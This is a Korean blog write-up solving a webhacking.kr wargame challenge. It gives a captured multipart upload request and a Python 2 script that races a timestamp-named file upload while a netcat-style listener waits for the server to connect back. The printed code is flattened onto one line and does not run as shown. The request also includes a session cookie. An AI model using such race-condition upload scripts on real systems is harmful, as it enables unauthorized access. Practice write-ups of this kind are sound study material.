처음에 37번을 풀때는 netcat으로 7777번 열어놓고 현재 시간보다 한 30초 뒤?의 파일을 올린후
f5폭풍클릭으로 타이밍을 맞춰서 풀었었는데 이제 조금 프로그래밍 할줄 알게 되서 프로그램으로
짜봤습니다... 소켓으로 파일 업로드 구현시 주의점은 content length..
POST방식으로 보내기 때문에 body부분에 파일이 올라가서 보내집니다.
------WebKitFormBoundaryBARaBgUn7pXm0LIx
Content-Disposition: form-data; name="upfile"; filename="tmp-1414222870"
Content-Type: application/octet-stream
------WebKitFormBoundaryBARaBgUn7pXm0LIx--
대충 이런식인데 content-length헤더가 갯수가 틀려버리면 이상하게 보내지거나 아니면 무한루프를
도는것처럼 파일전송이 안됩니다. 글자수를 세는 프로그램마다 글자수가 다르게 나오는데 이는 공백을
글자로 취급하는지의 여부에 따라서인것 같습니다. 에디트플러스에서 저 전체 블록지정후
글자수를 세면 200자가 나옵니다. 하지만 이것은 공백을 포함한 것이어서 쓰면 안됩니다.
제대로 글자수를 세려면 파이썬에서 print len("""------WebKitFormBoundaryBARaBgUn7pXm0LIx
Content-Disposition: form-data; name="upfile"; filename="tmp-1414222870"
Content-Type: application/octet-stream
------WebKitFormBoundaryBARaBgUn7pXm0LIx--""")
등으로 출력하면 공백을 제외한 글자수가 나옵니다. 공백을 제외한 글자수는 196. 이게 content-length
값이라고 보면 됩니다. 위에서도 계속 말했듯이 이거 글자수 틀리면 제대로 전송이 안되기 때문에
매우 중요합니다... 프록시로 burp를 쓰는데 burp에서도 전송은 잘 되는데 틀린 글자수가 나옵니다.
직접 len으로 출력해보고 고쳐주는게 편합니다. (맞는 글자수 찾느라 몇시간 삽질)
프록시에서 패킷을 캡쳐한후 content-length부분만 바꿔주고 전체 복붙하면
POST /challenge/web/web-18/index.php HTTP/1.1
Host: webhacking.kr
Content-Length: 196
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBARaBgUn7pXm0LIx
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=tgom5k98unf5mm5h8fv99jcju0
------WebKitFormBoundaryBARaBgUn7pXm0LIx
Content-Disposition: form-data; name="upfile"; filename="tmp-1414223986"
Content-Type: application/octet-stream
------WebKitFormBoundaryBARaBgUn7pXm0LIx--
요런식으로 출력되는데, (Accept-Encoding: gzip,deflate 라인도 지워줍니다. 브라우저가 해석하기
위한 인코딩으로 파이썬으로는 깨져서 나오기 때문 이것도 전에 어디에 써놨음.) 이 요청을 현재
시간에서 몇 초를 더한 시간값으로 바꿔서 파일을 업로드한다음 webhacking.kr에 계속 요청을
보내서 나한테 패킷을 보내도록 하면 됩니다. 코드를 짜는김에 제대로 짜기로 마음먹고 실행시키기만
하면 답이 나오게끔 이전 글 어딘가에서 만들었었던 파이썬 netcat까지 포함해서, 알아서
현재 시간+2의 파일을 업로드한다음 요청을 계속 보내서 답이 오고, 답이 오면 그걸 출력하고
프로그램이 꺼지게끔 코딩했습니다. 아 그리고 프로그래밍하면서 깨달은건데 urllib2.urlopen()
같은걸로 페이지에 한번 연결 후 소켓을 실행시켜야 됩니다. 이유는 모르겠음.... 안하면 안됩니다..
이상하게 아래 소스 복붙하면 안되는 오류 발견; 안되면 파일로 받아서 해보세요.
import socket,urllib2,time,threading flag = 1 def netcat(): #파이썬 넷켓 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('192.168.219.157',7777)) s.listen(5) conn,addr = s.accept() #7777포트를 열고 기다림 answer = conn.recv(1024) for i in range(0,10): #답이 잘 보이도록 10번 출력 print answer def request(): global flag req = urllib2.Request('http://webhacking.kr/','id=?????&pw=?????') #한번 연결을 해줘야됨. urllib2.urlopen(req) now = str(int(time.time())+2) #현재시간보다 2초 뒤 시간 while 1: if flag: #flag가 1이면 아직 성공 못한거 s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s2.connect(('webhacking.kr',80)) message = """POST /challenge/web/web-18/index.php HTTP/1.1 Host: webhacking.kr Content-Length: 196 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://webhacking.kr User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBARaBgUn7pXm0LIx Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: PHPSESSID=쿠키값 ------WebKitFormBoundaryBARaBgUn7pXm0LIx Content-Disposition: form-data; name="upfile"; filename="tmp-"""+now+"""\" Content-Type: application/octet-stream ------WebKitFormBoundaryBARaBgUn7pXm0LIx--"""; #2초뒤 시간으로 파일 업로드를 한후 그 시간으로 요청계속보냄 s2.sendall(message) recv = s2.recv(1024) print recv #현재 상태 출력 if recv.find('127.0.0.1') == -1: #성공하면 flag = 0 #flag을 0으로 바꾸고 time.sleep(0.2) #0.2초마다 요청 else: #flag가 0이면 종료 break th1 = threading.Thread(target=netcat,args=()) th1.start() #파이썬 넷켓실행 th2 = threading.Thread(target=request,args=()) th2.start() #업로드 요청 실행
쿠키값,아이디 비밀번호,본인 내부 ip주소만 바꿔주면 잘 동작
'Python > 2.7 information' 카테고리의 다른 글
Tkinter(python gui) (0) | 2014.11.22 |
---|---|
정규표현식 (파싱) (0) | 2014.11.20 |
유효한 웹페이지 찾기? (0) | 2014.10.17 |
소켓과 urllib2 속도차이 (2) | 2014.08.21 |
쓰레드,세마포어 기초 (0) | 2014.08.12 |